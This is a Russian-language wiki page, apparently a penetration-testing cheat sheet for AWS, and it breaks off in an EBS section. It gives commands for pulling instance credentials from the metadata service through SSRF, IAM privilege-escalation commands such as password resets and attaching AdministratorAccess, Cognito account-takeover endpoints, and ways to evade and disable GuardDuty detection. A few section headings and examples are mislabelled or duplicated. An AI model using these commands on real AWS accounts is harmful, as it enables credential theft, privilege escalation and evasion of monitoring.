Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
==== iam:PutRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для роли.&lt;br /&gt;
&lt;br /&gt;
==== iam:PutGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для группы.&lt;br /&gt;
&lt;br /&gt;
==== iam:PuserUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateAssumeRolePolicy + sts:AssumeRole ====&lt;br /&gt;
&lt;br /&gt;
Обновить документ &amp;quot;AssumeRolePolicyDocument&amp;quot; для роли.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
